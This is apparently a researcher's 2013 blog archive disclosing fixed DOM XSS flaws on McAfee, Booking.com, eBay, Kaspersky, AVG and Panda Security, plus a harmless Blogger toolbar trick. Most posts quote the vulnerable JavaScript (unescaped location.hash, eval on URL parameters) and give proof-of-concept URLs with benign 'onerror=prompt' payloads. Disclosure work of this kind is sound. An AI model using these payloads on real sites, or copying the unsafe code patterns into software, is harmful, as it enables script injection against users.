After Panda Security, AVG, Kaspersky and continuing my project to find XSS flaws on antivirus vendors, I found out a DOM XSS vulnerability located at the McAfee website:
http://www.mcafee.com/us/mcafee-labs.aspx 
 A user could inject code for example:
<img src=f00bar onerror=prompt("xss");>
...on the input text in the form "Search the Threat Library".
When changing the select box it will get the XSS vector executed on the browser.



This "self-XSS" it's a minor security issue but still can be used to trick other users and a good way to check the security policies of McAfee.

 Keep in mind that this issue has been fixed.
My congratulations on the good and fast support from McAfee security team.

Wednesday, February 13, 2013

DOM XSS vulnerabilities on Booking.com


Booking.com B.V., part of Priceline.com (Nasdaq: PCLN), owns and operates Booking.com, the world leader in booking accommodation online. Each day, over 400,000 room nights are reserved on Booking.com, and the website attracts over 30 million unique visitors each month from both the leisure and business sectors worldwide.

On January I started receiving some phishing emails using Booking.com as bait to spread malware.
If these malicious users had the right tools - like for example a XSS vulnerability - they could infect more users. That would not be good...

After browsing a little bit the website I found out two DOM XSS vulnerabilities.
Both vulnerabilities we're explored due to the lack of escaping the location.hash and using an older version of jQuery. That way it was possible for user to inject code into a victims browser DOM.

Proof of concept #1 (iPhone landing)
http://www.booking.com/general.en-us.html?sid=c81e148e3eceef6c8e2073bc50258a1c;dcid=1;tmpl=docs/iphone_landing&=&#<img src=x onerror=prompt("xss");>


Proof of concept #2 (FAQ section)
http://www.booking.com/general.en-us.html?dcid=1&sid=c81e148e3eceef6c8e2073bc50258a1c&tmpl=docs/faqmain#<img src=x onerror=prompt("xss");>


Both issues are now fixed.

I only was able to receive any reply from Booking.com team when contacting them via Twitter. After that I established a conversation with their security team who were very effective and fast, solving both vulnerabilities on a couple of hours. They reported that they're working on making the site safer everyday and appreciate any assistance.
Thanks for that.

Friday, February 8, 2013

eBay XSS vulnerability

How about finding a vulnerability in the biggest online marketplace in world?

When searching on eBay I found out that it's possible execute a XSS vulnerability on their job search section.

Proof of concept:
On Ebay Careers, you clicked on the Search Openings and on the Requisition No. you wrote the XSS vector:
<img src=x onerror=prompt("xss");> 

Clicked Search. The following screen doesn't execute the XSS but when you click:
?more 
...it would open a new window with the XSS executing.



This issue has been fixed and some pages removed.

I want to thank eBay security team for the fast reply and putting me on their Security Researchers Acknowledgment page. By the way, I'm the first portuguese guy in the list...

Tuesday, February 5, 2013

Disable Blogger.com toolbar


When playing around with my blog I discovered that is possible to temporary disable the blogger.com toolbar just adding a new parameter to the URL.

This is not a security issue and should not be considered a threat to any user or blog.
Think of it like a easter egg :-)

It's quite simple to replicate.
Just adding:
#&jsh= 

... to the URL of any blogger account (works also with a domain associated to blogger) will disable Google Plus buttons and the toolbar.



Google reported that will fix this issue as soon as possible.

Sunday, January 20, 2013

Kaspersky DOM XSS


Following my study on DOM XSS and antivirus vendors, I found that Kaspersky is also vulnerable to this type of vulnerability.
The problem is located on a bad validation of location.hash coming from jQuery (which is also outdated).
/*load current tab by url*/
//if($.url.param("tab")) $('a[name='+$.url.param("tab")+']').trigger('click');
var hash = location.hash;
if (hash.indexOf("tab=") != -1) {
hash = hash.replace(/^#tab=/, "");
$('a[name=' + hash + ']').trigger('click');

If a user loads the "tab" parameter on the URL it will execute the code.

Proof of concept:
http://www.kaspersky.com/tablet-security#tab=<img src=x onerror=prompt("xss");>


The Kaspersky team fixed this issue very fast and I would like to thank @assolini from Kaspersky for the support and the gift.

AVG vulnerable to DOM XSS


I discovered a DOM XSS vulnerability in AVG and it's located on download section of the oficial website.

Due to the lack of escaping/encoding the URL on the code present on file js_stdfull.js, a user could inject code into the website.

Vulnerable code:
//display the correct tab based on the url (#name)
var pathname = $(location).attr('href');var urlparts = pathname.split("#"); 

Proof of concept:
http://www.avg.com/eu-en/download#"><img src=x onerror=prompt(/xss/);>


This XSS vector worked fine with Chrome but you could changed it to work with other browsers also.
This issue is already been fixed but didn't got any reply from their team.

Thursday, January 10, 2013

Panda Security vulnerable to DOM XSS


Who is Panda?
Panda Security SL, formerly Panda Software, is a computer security company founded in 1990 by Panda's former CEO, Mikel Urizarbarrena, in the city of Bilbao, Spain. Initially centered on the production of antivirus software, the company has expanded its line of applications to include firewall applications, spam and spyware detection applications, cybercrime prevention technology, and other system management and security tools for businesses and home users.

Who uses it?
Panda Security is one of largest antivirus vendor worldwide, so it means lot's of clients.

What seems to be the issue?
There is a DOM XSS vulnerability present on the pandasecurity.com website.

Affected file: aHref.js (eval + location.href)

Vulnerable code: 
var Url = location.href; Url = Url.replace(/.*\?(.*?)/,"$1"); Variables = Url.split ("&"); for (i = 0; i < Variables.length; i++) { Separ = Variables[i].split("="); eval ('var _'+Separ[0].toLowerCase()+'="'+Separ[1]+'"'); }}
Proof of concept:
http://www.pandasecurity.com/security-promotion/antivirusoffer/portugal/?track=109197";alert("xss by @dsopas");//&gclid=CO7Q3JmqzrQCFUpb3godzC4Ang";alert("xss by @dsopas");//

Both track and gclid are exploitable with this issue.

Feedback?
PandaSecurity fixed this issue very fast. My congrats to their support.